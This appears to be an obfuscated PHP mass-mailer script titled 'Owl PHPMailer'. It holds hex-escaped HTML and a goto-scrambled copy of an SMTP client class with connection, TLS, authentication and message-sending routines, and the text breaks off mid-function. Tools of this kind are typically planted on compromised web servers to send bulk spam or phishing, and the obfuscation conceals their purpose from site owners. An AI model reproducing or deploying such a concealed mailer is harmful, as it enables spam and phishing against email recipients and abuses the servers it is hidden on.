"\x3c\x21\104\117\103\124\x59\120\x45\x20\x68\164\x6d\x6c\x3e\12\74\x68\164\155\x6c\x20\x6c\141\x6e\147\75\x22\x65\156\x22\76\xa\74\150\x65\141\144\x3e\xa\x20\x20\x3c\155\x65\x74\x61\40\x63\150\x61\x72\163\x65\x74\75\x22\165\164\x66\55\70\42\76\xa\x20\40\74\155\145\x74\141\40\150\x74\164\x70\55\145\161\x75\151\166\x3d\42\130\x2d\125\x41\55\x43\x6f\155\x70\141\x74\151\142\x6c\145\x22\x20\143\x6f\x6e\x74\x65\x6e\164\75\42\111\x45\40\x3d\x20\145\144\x67\x65\42\x3e\xa\x20\40\x3c\155\145\x74\x61\40\156\141\155\145\x3d\x22\166\151\x65\x77\x70\x6f\162\164\42\x20\x63\157\156\164\145\156\x74\75\42\x77\x69\x64\164\150\x20\x3d\x20\144\145\x76\x69\143\145\55\x77\x69\144\164\150\x2c\x20\151\156\x69\164\x69\x61\154\x2d\163\143\x61\x6c\x65\x20\75\x20\x31\42\x3e\xa\40\x20\74\x74\x69\164\154\145\x3e\x4f\x77\154\x20\120\x48\x50\115\x61\x69\154\145\162\40"; goto RwtFE; XrfMY: $altMessageLetter = urldecode($altMessageLetter); goto rToZd; ZvHun: processEmailSendingRequest(); goto snwvY; tjNyb: $altMessageLetter = preg_replace("\57\45\x35\103\45\62\62\57", "\45\x32\62", $altMessageLetter); goto XrfMY; u70ey: class SMTP { const VERSION = "\66\56\x30\x2e\67"; const LE = "\15\12"; const DEFAULT_PORT = 25; const MAX_LINE_LENGTH = 998; const DEBUG_OFF = 0; const DEBUG_CLIENT = 1; const DEBUG_SERVER = 2; const DEBUG_CONNECTION = 3; const DEBUG_LOWLEVEL = 4; public $do_debug = self::DEBUG_OFF; public $Debugoutput = "\x65\x63\150\x6f"; public $do_verp = false; public $Timeout = 300; public $Timelimit = 300; protected $smtp_transaction_id_patterns = array("\x65\x78\x69\x6d" => "\x2f\133\134\x64\135\x7b\x33\x7d\40\x4f\x4b\x20\x69\x64\x3d\50\x2e\52\x29\x2f", "\x73\145\156\144\x6d\141\151\154" => "\x2f\x5b\134\x64\x5d\x7b\63\175\x20\62\56\60\56\x30\40\x28\x2e\52\51\40\x4d\x65\x73\163\x61\x67\x65\57", "\160\157\x73\164\146\x69\x78" => "\x2f\133\x5c\144\135\x7b\63\175\x20\x32\x2e\60\x2e\60\40\117\x6b\x3a\40\161\x75\145\x75\145\x64\40\x61\x73\x20\50\56\52\x29\x2f", "\115\x69\143\162\x6f\x73\157\x66\164\x5f\105\123\115\x54\x50" => "\57\x5b\x30\55\x39\x5d\173\x33\175\40\x32\56\133\134\144\135\56\60\40\50\x2e\52\51\100\50\x3f\x3a\x2e\52\51\x20\x51\165\x65\x75\145\x64\40\x6d\x61\151\154\40\146\x6f\x72\40\144\145\154\151\166\145\x72\x79\x2f", "\x41\x6d\x61\x7a\157\x6e\x5f\x53\x45\123" => "\x2f\x5b\134\144\x5d\x7b\63\x7d\40\x4f\153\x20\50\56\52\51\57", "\x53\145\156\x64\x47\162\x69\x64" => "\x2f\133\x5c\144\x5d\173\63\x7d\x20\117\x6b\x3a\x20\161\165\x65\165\145\x64\40\141\163\40\50\56\52\51\57", "\x43\x61\155\160\141\151\x67\x6e\x4d\157\x6e\151\164\157\162" => "\x2f\133\x5c\x64\x5d\173\x33\x7d\x20\x32\56\60\x2e\60\x20\x4f\x4b\72\x28\133\141\55\172\101\55\x5a\x5c\x64\x5d\x7b\64\70\175\x29\57"); protected $last_smtp_transaction_id; protected $smtp_conn; protected $error = array("\145\x72\x72\157\x72" => '', "\x64\145\164\x61\x69\154" => '', "\163\x6d\x74\x70\x5f\143\157\x64\x65" => '', "\x73\155\x74\x70\x5f\143\x6f\x64\x65\x5f\145\x78" => ''); protected $helo_rply = null; protected $server_caps = null; protected $last_reply = ''; protected function edebug($str, $level = 0) { goto QjbkA; XO4aO: call_user_func($this->Debugoutput, $str, $level); goto Q5Dc_; wbabF: AV2gt: goto BNNUN; FICGb: YSRRo: goto JeJVP; SFE0b: $this->Debugoutput->debug($str); goto OYSF2; kJGYc: k4a6m: goto S3gNl; QjbkA: if (!($level > $this->do_debug)) { goto qgBJI; } goto WzVIv; OYSF2: return; goto wbabF; Q5Dc_: return; goto kJGYc; TUa8i: if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) { goto AV2gt; } goto SFE0b; WzVIv: return; goto g1njV; g1njV: qgBJI: goto TUa8i; JeJVP: qxsMZ: goto JIpqq; BNNUN: if (!(!in_array($this->Debugoutput, ["\145\x72\x72\157\162\137\154\x6f\x67", "\150\164\x6d\154", "\145\x63\x68\x6f"]) and is_callable($this->Debugoutput))) { goto k4a6m; } goto XO4aO; S3gNl: switch ($this->Debugoutput) { case "\145\x72\162\157\x72\x5f\154\157\x67": error_log($str); goto qxsMZ; case "\150\164\155\154": echo gmdate("\131\55\155\x2d\x64\40\x48\x3a\x69\x3a\x73"), "\x20", htmlentities(preg_replace("\57\133\134\x72\x5c\x6e\135\53\x2f", '', $str), ENT_QUOTES, "\x55\x54\x46\55\x38"), "\74\x62\x72\76\12"; goto qxsMZ; case "\x65\x63\150\x6f": default: $str = preg_replace("\x2f\x5c\162\134\x6e\x7c\x5c\x72\x2f\x6d\163", "\xa", $str); echo gmdate("\x59\x2d\155\55\144\x20\110\72\x69\x3a\163"), "\11", trim(str_replace("\12", "\xa\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\11\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40", trim($str))), "\12"; } goto FICGb; JIpqq: } public function connect($host, $port = null, $timeout = 30, $options = array()) { goto ulYSd; lgMdn: @set_time_limit($timeout); goto Q4h7E; nVRHh: restore_error_handler(); goto oIX88; pAKQ2: restore_error_handler(); goto fdr8P; uHL8a: set_error_handler([$this, "\x65\x72\x72\157\x72\x48\x61\x6e\x64\154\x65\162"]); goto NwNIo; fdr8P: goto pCgcW; goto A8ShO; UB6zG: $errstr = ''; goto wZvuV; NwNIo: $this->smtp_conn = fsockopen($host, $port, $errno, $errstr, $timeout); goto pAKQ2; soqxw: Bp1D3: goto mdQWT; mY_i3: if (!$this->connected()) { goto KywlE; } goto OJVTi; PYNqO: $socket_context = stream_context_create($options); goto cG9iM; iGykf: Xg7pQ: goto Lnjup; ZnlQg: return false; goto iGykf; oJMkX: if (is_resource($this->smtp_conn)) { goto Xg7pQ; } goto Bw1Jd; KYcqk: stream_set_timeout($this->smtp_conn, $timeout, 0); goto q3hgj; lhvcd: if (!(substr(PHP_OS, 0, 3) != "\127\x49\x4e")) { goto TmJA_; } goto U_UeN; A8ShO: mY4yu: goto PYNqO; VZ3Y0: return true; goto GVmeW; LgmNF: $this->edebug("\123\x45\x52\126\105\x52\40\55\x3e\40\103\x4c\111\x45\x4e\x54\x3a\40" . $announce, self::DEBUG_SERVER); goto VZ3Y0; NJGyw: $this->edebug("\x43\x6f\x6e\156\145\x63\x74\x69\157\156\x3a\x20\x73\164\162\x65\x61\155\x5f\163\157\x63\x6b\145\164\137\143\154\151\145\156\x74\40\x6e\157\x74\40\x61\166\x61\151\x6c\x61\x62\154\145\54\40\x66\x61\x6c\x6c\x69\156\x67\x20\142\x61\x63\x6b\40\x74\157\x20\146\163\x6f\x63\153\157\x70\145\156", self::DEBUG_CONNECTION); goto uHL8a; q3qHo: hRZDA: goto hBUed; IPEFF: if (!empty($port)) { goto hRZDA; } goto TLR1Q; g3yHb: if (!(0 != $max and $timeout > $max)) { goto yoUa3; } goto lgMdn; hBN1I: $this->edebug("\x53\115\124\x50\40\x45\x52\122\117\x52\x3a\40" . $this->error["\145\x72\162\x6f\x72"] . "\x3a\x20{$errstr}\x20\50{$errno}\x29", self::DEBUG_CLIENT); goto ZnlQg; hBUed: $this->edebug("\103\x6f\x6e\x6e\x65\x63\164\x69\x6f\156\72\x20\157\160\x65\x6e\x69\x6e\147\x20\164\157\40{$host}\x3a{$port}\x2c\40\164\x69\x6d\x65\x6f\165\x74\75{$timeout}\54\40\157\x70\x74\x69\157\156\163\x3d" . (count($options) > 0 ? var_export($options, true) : "\141\162\162\x61\x79\x28\x29"), self::DEBUG_CONNECTION); goto VCYei; ulYSd: static $streamok; goto TOgeK; ovRdv: KywlE: goto IPEFF; oIX88: pCgcW: goto oJMkX; Bw1Jd: $this->setError("\x46\x61\x69\x6c\145\x64\40\x74\157\x20\143\157\156\156\x65\143\164\40\164\157\40\163\145\162\166\145\x72", '', (string) $errno, (string) $errstr); goto hBN1I; OJVTi: $this->setError("\101\x6c\162\145\141\144\x79\x20\x63\157\x6e\156\145\x63\x74\145\x64\x20\x74\x6f\40\x61\x20\163\x65\162\x76\145\162"); goto FMvZO; wZvuV: if ($streamok) { goto mY4yu; } goto NJGyw; Fkj5I: $streamok = function_exists("\x73\x74\162\145\x61\155\137\163\x6f\143\153\145\164\137\x63\x6c\151\145\x6e\x74"); goto soqxw; cG9iM: set_error_handler([$this, "\145\162\162\x6f\162\x48\x61\x6e\x64\x6c\x65\x72"]); goto xe4GC; VCYei: $errno = 0; goto UB6zG; FMvZO: return false; goto ovRdv; Q4h7E: yoUa3: goto KYcqk; xe4GC: $this->smtp_conn = stream_socket_client($host . "\x3a" . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context); goto nVRHh; TOgeK: if (!(null === $streamok)) { goto Bp1D3; } goto Fkj5I; Lnjup: $this->edebug("\x43\x6f\156\156\145\143\164\x69\157\156\x3a\x20\x6f\x70\145\156\x65\144", self::DEBUG_CONNECTION); goto lhvcd; U_UeN: $max = ini_get("\155\141\x78\x5f\145\x78\145\143\x75\x74\151\x6f\x6e\x5f\x74\x69\x6d\145"); goto g3yHb; ZukIt: $announce = $this->get_lines(); goto LgmNF; mdQWT: $this->setError(''); goto mY_i3; q3hgj: TmJA_: goto ZukIt; TLR1Q: $port = self::DEFAULT_PORT; goto q3qHo; GVmeW: } public function startTLS() { goto QfWCv; lUebl: $crypto_ok = stream_socket_enable_crypto($this->smtp_conn, true, $crypto_method); goto Jzwaz; hjJxo: if (!defined("\123\124\122\105\101\115\x5f\x43\122\131\120\124\117\x5f\115\x45\x54\110\117\x44\137\124\114\123\166\x31\137\x32\137\x43\114\111\x45\x4e\124")) { goto BVTnL; } goto e2cm2; VaS17: $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; goto v45Ra; N6yCi: return false; goto gkNsw; QfWCv: if ($this->sendCommand("\x53\x54\101\122\x54\124\114\123", "\x53\124\x41\x52\124\x54\x4c\x53", 220)) { goto F8yOm; } goto N6yCi; e2cm2: $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; goto VaS17; Q2iEA: set_error_handler([$this, "\145\x72\162\x6f\x72\110\x61\156\144\154\145\162"]); goto lUebl; gkNsw: F8yOm: goto zEepi; zEepi: $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; goto hjJxo; HlECM: return (bool) $crypto_ok; goto Qa0GZ; v45Ra: BVTnL: goto Q2iEA; Jzwaz: restore_error_handler(); goto HlECM; Qa0GZ: } public function authenticate($username, $password, $authtype = null, $OAuth = null) { goto PeFYj; j9TbI: zQ3PV: goto k72RM; QCP5P: $this->setError("\124\x68\x65\x20\x72\145\x71\165\x65\163\x74\x65\x64\40\x61\165\164\150\x65\156\164\x69\x63\x61\x74\151\157\x6e\40\x6d\145\164\x68\x6f\x64\x20\x22{$authtype}\x22\40\x69\163\x20\x6e\157\x74\x20\x73\x75\x70\160\157\x72\x74\x65\x64\40\x62\171\x20\x74\150\145\x20\163\x65\x72\x76\145\x72"); goto Du4fI; XB68i: return false; goto CIOkB; CeBHR: self::edebug("\x41\x75\x74\x68\40\x6d\x65\164\x68\157\x64\40\163\145\154\x65\143\164\145\144\x3a\40" . $authtype, self::DEBUG_LOWLEVEL); goto AATgA; S4V8Z: $this->edebug("\122\x65\x71\165\x65\x73\164\x65\x64\40\x61\165\164\150\x20\x6d\145\x74\x68\x6f\x64\x20\156\157\x74\40\141\x76\x61\x69\x6c\141\x62\x6c\x65\x3a\40" . $authtype, self::DEBUG_LOWLEVEL); goto U0N0O; wIaD5: if (empty($authtype)) { goto vQRjp; } goto yEWqy; FKdkC: $this->setError("\x4e\157\x20\163\165\160\x70\157\162\x74\x65\x64\x20\141\x75\164\x68\145\156\x74\x69\x63\x61\x74\x69\x6f\156\40\155\x65\164\150\157\144\163\40\146\x6f\165\x6e\144"); goto XB68i; yEWqy: goto CutXi; goto Wug77; gLmM6: $authtype = "\114\117\x47\x49\116"; goto hZBPf; r2FnF: $this->setError("\x41\x75\x74\150\145\156\x74\151\x63\141\164\151\x6f\x6e\x20\x69\x73\40\156\157\x74\x20\141\x6c\x6c\157\167\145\144\40\x61\164\40\164\150\x69\x73\40\x73\164\x61\147\x65"); goto XwhVB; yF08p: G8HNL: goto rWu__; BnAbe: $this->setError("\x41\x75\x74\x68\145\x6e\164\x69\x63\x61\164\x69\x6f\x6e\x20\151\x73\x20\156\157\x74\40\x61\154\154\x6f\167\145\144\x20\x62\145\x66\x6f\x72\145\x20\x48\105\x4c\x4f\57\x45\x48\x4c\117"); goto m8R96; pG1dv: foreach (["\x43\x52\101\115\55\115\104\x35", "\x4c\x4f\107\x49\116", "\120\114\x41\111\x4e", "\x58\x4f\x41\125\x54\110\62"] as $method) { goto n4_fz; n4_fz: if (!in_array($method, $this->server_caps["\x41\125\x54\110"])) { goto cRAly; } goto VLST_; N6utl: goto zQ3PV; goto ALvLN; AAKdb: oBm6j: goto mRMTS; VLST_: $authtype = $method; goto N6utl; ALvLN: cRAly: goto AAKdb; mRMTS: } goto j9TbI; PeFYj: if ($this->server_caps) { goto XPJs4; } goto BnAbe; qbfxb: $this->edebug("\101\165\x74\150\x20\155\145\164\150\x6f\144\163\40\141\166\141\x69\x6c\141\x62\154\145\40\x6f\x6e\40\164\150\x65\40\163\x65\x72\x76\145\x72\x3a\x20" . implode("\x2c", $this->server_caps["\101\x55\x54\110"]), self::DEBUG_LOWLEVEL); goto I3IoA; eAdjb: vQRjp: goto gLmM6; U0N0O: $authtype = null; goto nyHDj; hZBPf: CutXi: goto lLkPs; CIOkB: eSLju: goto CeBHR; K4yaV: goto CutXi; goto eAdjb; I3IoA: if (!(null !== $authtype and !in_array($authtype, $this->server_caps["\101\x55\x54\110"]))) { goto xGBEc; } goto S4V8Z; l84cC: if (array_key_exists("\x41\x55\124\x48", $this->server_caps)) { goto G8HNL; } goto r2FnF; Wug77: a3GvA: goto l84cC; tHMwk: if (!empty($authtype)) { goto MV9wn; } goto pG1dv; nyHDj: xGBEc: goto tHMwk; k72RM: if (!empty($authtype)) { goto eSLju; } goto FKdkC; m8R96: return false; goto yJWbA; rWu__: $this->edebug("\101\x75\x74\150\x20\x6d\145\164\x68\157\144\x20\x72\x65\x71\165\145\x73\164\145\144\x3a\x20" . ($authtype ? $authtype : "\x55\116\x53\120\x45\103\111\x46\111\x45\x44"), self::DEBUG_LOWLEVEL); goto qbfxb; VUTfn: if (in_array($authtype, $this->server_caps["\101\125\124\x48"])) { goto jwCEX; } goto QCP5P; wSjw2: jwCEX: goto K4yaV; lLkPs: switch ($authtype) { case "\120\114\101\111\116": goto blCpA; Pk9uD: hFhNI: goto kY3G1; MSnYb: return false; goto vWWzD; ojUfV: return false; goto Pk9uD; vWWzD: mxI6G: goto wN9L5; kY3G1: if ($this->sendCommand("\x55\163\x65\x72\40\46\40\120\141\x73\x73\167\157\x72\x64", base64_encode("\0" . $username . "\0" . $password), 235)) { goto mxI6G; } goto MSnYb; blCpA: if ($this->sendCommand("\x41\125\x54\110", "\101\125\124\110\40\120\114\x41\x49\116", 334)) { goto hFhNI; } goto ojUfV; wN9L5: goto fv35i; goto Xr6cC; Xr6cC: case "\x4c\x4f\x47\x49\116": goto QJSHF; XGIuy: if ($this->sendCommand("\120\141\163\x73\167\157\162\x64", base64_encode($password), 235)) { goto Ixo5z; } goto Fbero; oISHK: return false; goto P3EoO; P3EoO: i2fxx: goto XGIuy; Fbero: return false; goto tCE2W; zBqFq: if ($this->sendCommand("\125\x73\145\162\156\141\x6d\x65", base64_encode($username), 334)) { goto i2fxx; } goto oISHK; YMzVU: goto fv35i; goto eqBD6; dEM8a: D7WL1: goto zBqFq; xfQw_: return false; goto dEM8a; tCE2W: Ixo5z: goto YMzVU; QJSHF: if ($this->sendCommand("\101\125\124\x48", "\x41\x55\124\x48\40\114\x4f\x47\111\x4e", 334)) { goto D7WL1; } goto xfQw_; eqBD6: case "\103\x52\101\115\x2d\115\x44\65": goto SkeHr; WNX5_: $challenge = base64_decode(substr($this->last_reply, 4)); goto Gd3XB; mvz0j: ka9Sw: goto WNX5_; ZP8R0: return $this->sendCommand("\x55\x73\x65\162\x6e\x61\x6d\x65", base64_encode($response), 235); goto W2X1Q; SkeHr: if ($this->sendCommand("\x41\125\124\110\x20\x43\122\101\115\x2d\115\104\x35", "\101\x55\124\x48\40\x43\122\101\x4d\x2d\115\x44\65", 334)) { goto ka9Sw; } goto HUrIj; HUrIj: return false; goto mvz0j; Gd3XB: $response = $username . "\40" . $this->hmac($challenge, $password); goto ZP8R0; W2X1Q: case "\130\x4f\x41\x55\124\110\x32": goto BONgN; dJdk_: hLuB9: goto U8S1l; kPlid: return false; goto dJdk_; UzKyI: if ($this->sendCommand("\x41\125\124\x48", "\x41\x55\124\x48\40\130\117\x41\x55\124\x48\x32\40" . $oauth, 235)) { goto hLuB9; } goto kPlid; cysCu: $oauth = $OAuth->getOauth64(); goto UzKyI; dQVCh: jQv4n: goto cysCu; BONgN: if (!(null === $OAuth)) { goto jQv4n; } goto Kur_i; Kur_i: return false; goto dQVCh; U8S1l: goto fv35i; goto m6kAi; m6kAi: default: $this->setError("\101\165\x74\x68\x65\156\x74\x69\x63\x61\164\151\x6f\156\40\155\145\x74\x68\157\144\x20\42{$authtype}\x22\x20\x69\x73\x20\x6e\x6f\x74\40\x73\165\160\160\157\x72\x74\145\x64"); return false; } goto Z0Lc5; yJWbA: XPJs4: goto R5QQ6; R5QQ6: if (array_key_exists("\105\110\x4c\117", $this->server_caps)) { goto a3GvA; } goto wIaD5; LBLmC: fv35i: goto mkUxm; mkUxm: return true; goto eiQDm; Z0Lc5: oSfeJ: goto LBLmC; XwhVB: return false; goto yF08p; AATgA: MV9wn: goto VUTfn; Du4fI: return false; goto wSjw2; eiQDm: } protected function hmac($data, $key) { goto wls63; R6N_n: $key = str_pad($key, $bytelen, chr(0x0)); goto fHtQ9; o852Z: WqGzU: goto BzLzY; wls63: if (!function_exists("\x68\141\x73\x68\137\150\155\x61\x63")) { goto WqGzU; } goto wjllN; fHtQ9: $ipad = str_pad('', $bytelen, chr(0x36)); goto ZlVcF; AZZTY: return md5($k_opad . pack("\110\x2a", md5($k_ipad . $data))); goto lnIkd; IXx54: $k_opad = $key ^ $opad; goto AZZTY; r_SKV: oJaIY: goto R6N_n; wkUdT: $k_ipad = $key ^ $ipad; goto IXx54; EYUSh: $key = pack("\x48\x2a", md5($key)); goto r_SKV; ZlVcF: $opad = str_pad('', $bytelen, chr(0x5c)); goto wkUdT; BzLzY: $bytelen = 64; goto XytZ3; wjllN: return hash_hmac("\155\x64\65", $data, $key); goto o852Z; XytZ3: if (!(strlen($key) > $bytelen)) { goto oJaIY; } goto EYUSh; lnIkd: } public function connected() { goto bac4G; kECCj: $this->edebug("\123\115\124\120\x20\x4e\x4f\x54\x49\103\105\x3a\40\105\117\106\x20\x63\141\165\147\150\x74\x20\x77\150\151\154\x65\40\143\150\145\x63\x6b\151\x6e\147\x20\x69\146\x20\143\x6f\x6e\156\x65\x63\x74\145\x64", self::DEBUG_CLIENT); goto SPB9R; bac4G: if (!is_resource($this->smtp_conn)) { goto PHYzi; } goto x_9Zi; OTf5T: PHYzi: goto fflRl; x_9Zi: $sock_status = stream_get_meta_data($this->smtp_conn); goto cIwua; IxKW3: TzYDB: goto U8zyo; cIwua: if (!$sock_status["\x65\x6f\146"]) { goto TzYDB; } goto kECCj; U8zyo: return true; goto OTf5T; fflRl: return false; goto HEnNO; SPB9R: $this->close(); goto eP5ac; eP5ac: return false; goto IxKW3; HEnNO: } public function close() { goto HNq_B; ZCV3Q: fclose($this->smtp_conn); goto GGlwc; Sjnfp: $this->server_caps = null; goto TqULr; mCujb: $this->edebug("\103\157\156\156\x65\143\164\x69\x6f\x6e\x3a\x20\143\154\x6f\163\x65\x64", self::DEBUG_CONNECTION); goto SFW9g; TqULr: $this->helo_rply = null; goto pnn4R; GGlwc: $this->smtp_conn = null; goto mCujb; pnn4R: if (!is_resource($this->smtp_conn)) { goto nTWOI; } goto ZCV3Q; HNq_B: $this->setError(''); goto Sjnfp; SFW9g: nTWOI: goto krbRJ; krbRJ: } public function data($msg_data) { goto pz_A0; JpFWW: $this->Timelimit = $this->Timelimit * 2; goto wBiJR; OrnqM: return false; goto Dalh_; B9wgZ: if (!(!empty($field) and strpos($field, "\x20") === false)) { goto KH4y_; } goto PZqZr; VJ90D: foreach ($lines as $line) { goto uCrhP; cT78K: $lines_out[] = substr($line, 0, $pos); goto pvqC8; uCrhP: $lines_out = []; goto S1CRk; OjVg8: goto gITW3; goto Rbiyu; pvqC8: $line = substr($line, $pos); goto xZIwD; B6m50: saomi: goto A4n2y; wstLB: WDUe6: goto xSM7o; Ht_6Q: if (!$pos) { goto QHnFn; } goto ai04M; dtom3: W8W3o: goto EH101; S1CRk: if (!($in_headers and $line == '')) { goto WDUe6; } goto GHYVA; xSM7o: YGFi5: goto aDaZO; eLWg9: emNDf: goto dtom3; ai04M: $lines_out[] = substr($line, 0, $pos); goto tdmai; MSmB7: $lines_out[] = $line; goto ni8u1; aFaLH: $pos = self::MAX_LINE_LENGTH - 1; goto cT78K; xZIwD: gITW3: goto RXfkg; kDHoW: $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), "\x20"); goto Ht_6Q; ni8u1: foreach ($lines_out as $line_out) { goto Tujow; vvG9S: $this->client_send($line_out . static::LE, "\104\101\124\101"); goto eBCtP; ZdFGr: lR25O: goto vvG9S; eBCtP: O7FWA: goto nipX7; Tujow: if (!(!empty($line_out) and $line_out[0] == "\56")) { goto lR25O; } goto EzVdX; EzVdX: $line_out = "\x2e" . $line_out; goto ZdFGr; nipX7: } goto eLWg9; aDaZO: if (!isset($line[self::MAX_LINE_LENGTH])) { goto wPYBu; } goto kDHoW; S3OVC: $line = "\x9" . $line; goto B6m50; A4n2y: goto YGFi5; goto LMlwQ; LMlwQ: wPYBu: goto MSmB7; GHYVA: $in_headers = false; goto wstLB; RXfkg: if (!$in_headers) { goto saomi; } goto S3OVC; tdmai: $line = substr($line, $pos + 1); goto OjVg8; Rbiyu: QHnFn: goto aFaLH; EH101: } goto vXLGJ; Dalh_: qxS0K: goto QyPoe; vXLGJ: lXmDz: goto b1pXu; wBiJR: $result = $this->sendCommand("\104\x41\124\x41\x20\x45\x4e\104", "\x2e", 250); goto vMAjQ; CS4_s: $in_headers = false; goto B9wgZ; pz_A0: if ($this->sendCommand("\104\101\124\x41", "\x44\101\x54\101", 354)) { goto qxS0K; } goto OrnqM; PZqZr: $in_headers = true; goto ARPWJ; gN5qO: return $result; goto Nah7f; ARPWJ: KH4y_: goto VJ90D; b1pXu: $savetimelimit = $this->Timelimit; goto JpFWW; Rhg3b: $field = substr($lines[0], 0, strpos($lines[0], "\x3a")); goto CS4_s; AHaXx: $this->Timelimit = $savetimelimit; goto gN5qO; QyPoe: $lines = explode("\xa", str_replace(["\15\xa", "\15"], "\xa", $msg_data)); goto Rhg3b; vMAjQ: $this->recordLastTransactionID(); goto AHaXx; Nah7f: } public function hello($host = '') { return $this->sendHello("\x45\110\x4c\117", $host) or $this->sendHello("\x48\x45\114\x4f", $host); } protected function sendHello($hello, $host) { goto Dcp3K; l2eOm: HYibL: goto tJO3f; Dcp3K: $noerror = $this->sendCommand($hello, $hello . "\x20" . $host, 250); goto MNAWm; CHAfB: $this->server_caps = null; goto qReTP; cmSUa: if ($noerror) { goto cgvcp; } goto CHAfB; yhBDO: cgvcp: goto WvUWB; MNAWm: $this->helo_rply = $this->last_reply; goto cmSUa; qReTP: goto HYibL; goto yhBDO; tJO3f: return $noerror; goto jllAE; WvUWB: $this->parseHelloFields($hello); goto l2eOm; jllAE: } protected function parseHelloFields($type) { goto hUYiN; hUYiN: $this->server_caps = []; goto hx7T7; hx7T7: $lines = explode("\xa", $this->helo_rply); goto jWsio; jWsio: foreach ($lines as $n => $s) { goto nLnhf; uQVDs: oHD1a: goto FKCfU; FKCfU: sB05a: goto Km2ro; s3nt_: if (empty($fields)) { goto oHD1a; } goto nwIWj; gS9Iy: ls3Ng: goto ZJAh3; zkn2c: l6XoZ: goto ZwD7t; lZRjy: XKVUL: goto hJehu; hJehu: $name = $type; goto NdY12; YuzVh: Khsuy: goto zkn2c; fK71w: eWNJr: goto JbV31; b7bEW: $name = array_shift($fields); goto PY1GY; hF5kN: if (!empty($s)) { goto eWNJr; } goto vH9Cv; JbV31: $fields = explode("\40", $s); goto s3nt_; NdY12: $fields = $fields[0]; goto gS9Iy; vH9Cv: goto sB05a; goto fK71w; nwIWj: if (!$n) { goto XKVUL; } goto b7bEW; PY1GY: switch ($name) { case "\x53\111\132\x45": $fields = $fields ? $fields[0] : 0; goto l6XoZ; case "\101\125\124\110": goto R3R5f; eOOHY: goto l6XoZ; goto Tidxh; Px8u1: b9umu: goto eOOHY; E7gVd: $fields = []; goto Px8u1; R3R5f: if (is_array($fields)) { goto b9umu; } goto E7gVd; Tidxh: default: $fields = true; } goto YuzVh; ZwD7t: goto ls3Ng; goto lZRjy; nLnhf: $s = trim(substr($s, 4)); goto hF5kN; ZJAh3: $this->server_caps[$name] = $fields; goto uQVDs; Km2ro: } goto CQrci; CQrci: hEjt6: goto qQBsx; qQBsx: } public function mail($from) { $useVerp = $this->do_verp ? "\x20\x58\x56\x45\122\x50" : ''; return $this->sendCommand("\x4d\x41\111\114\40\106\x52\117\115", "\115\101\111\x4c\x20\106\122\117\x4d\x3a\74" . $from . "\x3e" . $useVerp, 250); } public function quit($close_on_error = true) { goto rjgzZ; FF5vs: if (!($noerror or $close_on_error)) { goto RbVs8; } goto Qhlw8; YaoS3: $this->error = $err; goto q_36E; zjm2_: $err = $this->error; goto FF5vs; rjgzZ: $noerror = $this->sendCommand("\121\x55\111\x54", "\121\x55\111\124", 221); goto zjm2_; q_36E: RbVs8: goto zNzQL; Qhlw8: $this->close(); goto YaoS3; zNzQL: return $noerror; goto b0yLr; b0yLr: } public function recipient($address, $dsn = '') { goto W7Bb1; f6fz6: LeQow: goto OwoUT; glGPG: $notify = []; goto qTdRG; Xv2BZ: eZBbX: goto k2GiD; I7EDJ: foreach (["\x53\x55\x43\103\105\123\x53", "\106\101\x49\x4c\x55\x52\105", "\104\x45\114\x41\x59"] as $value) { goto GnrrH; c7xSX: NYy8J: goto QT8ZK; GnrrH: if (!(strpos($dsn, $value) !== false)) { goto NYy8J; } goto a8rKZ; QT8ZK: F1P_u: goto Po2wC; a8rKZ: $notify[] = $value; goto c7xSX; Po2wC: } goto VQTj5; n6_x_: goto LeQow; goto y2R3R; qTdRG: if (strpos($dsn, "\x4e\105\126\105\x52") !== false) { goto cxt3r; } goto I7EDJ; IipGM: $rcpt = "\122\103\x50\x54\40\124\x4f\x3a\x3c" . $address . "\76"; goto f6fz6; qnqsM: goto eZBbX; goto iRUl_; iRUl_: cxt3r: goto XFD3H; k2GiD: $rcpt = "\122\x43\120\x54\x20\x54\117\x3a\74" . $address . "\x3e\x20\116\x4f\x54\111\x46\131\x3d" . implode("\x2c", $notify); goto n6_x_; VQTj5: rD2J5: goto qnqsM; y2R3R: CPrFA: goto IipGM; Jc87s: $dsn = strtoupper($dsn); goto glGPG; XFD3H: $notify[] = "\x4e\105\x56\105\x52"; goto Xv2BZ; OwoUT: return $this->sendCommand("\x52\x43\x50\124\x20\x54\x4f", $rcpt, [250, 251]); goto ERD7j; W7Bb1: if (empty($dsn)) { goto CPrFA; } goto Jc87s; ERD7j: } public function reset() { return $this->sendCommand("\122\x53\x45\124", "\x52\x53\x45\x54", 250); } protected function sendCommand($command, $commandstring, $expect) { goto yJUDH; G6yaM: $this->setError(''); goto vD05q; yyTID: if (!(strpos($commandstring, "\12") !== false or strpos($commandstring, "\xd") !== false)) { goto LZJlD; } goto iLBYi; ZhSev: $this->last_reply = $this->get_lines(); goto rRs_I; yJUDH: if ($this->connected()) { goto v4aIB; } goto MXlhc; X2xM9: LZJlD: goto YZ0SZ; IenFc: UmtpM: goto KTicq; h0pX4: $code_ex = count($matches) > 2 ? $matches[2] : null; goto UnCaR; UnCaR: $detail = preg_replace("\57{$code}\133\x20\x2d\135" . ($code_ex ? str_replace("\56", "\x5c\x2e", $code_ex) . "\40" : '') . "\57\x6d", '', $this->last_reply); goto p0lDZ; MXlhc: $this->setError("\x43\x61\154\154\145\144\x20{$command}\40\167\x69\x74\x68\x6f\165\x74\x20\142\145\x69\156\147\x20\143\x6f\156\x6e\x65\x63\164\x65\144"); goto BR2pJ; OWw7Q: return false; goto X2xM9; YZ0SZ: $this->client_send($commandstring . static::LE, $command); goto ZhSev; KTicq: $code = $matches[1]; goto h0pX4; xrf5J: v4aIB: goto yyTID; xsS5B: $code_ex = null; goto Q3ILO; huFvb: if (preg_match("\57\x5e\50\x5b\x30\x2d\x39\135\x7b\63\175\x29\x5b\40\55\x5d\50\77\72\50\x5b\60\x2d\x39\x5d\x5c\x2e\133\60\55\71\x5d\134\56\x5b\60\x2d\x39\135\173\x31\x2c\x32\x7d\51\x20\51\x3f\x2f", $this->last_reply, 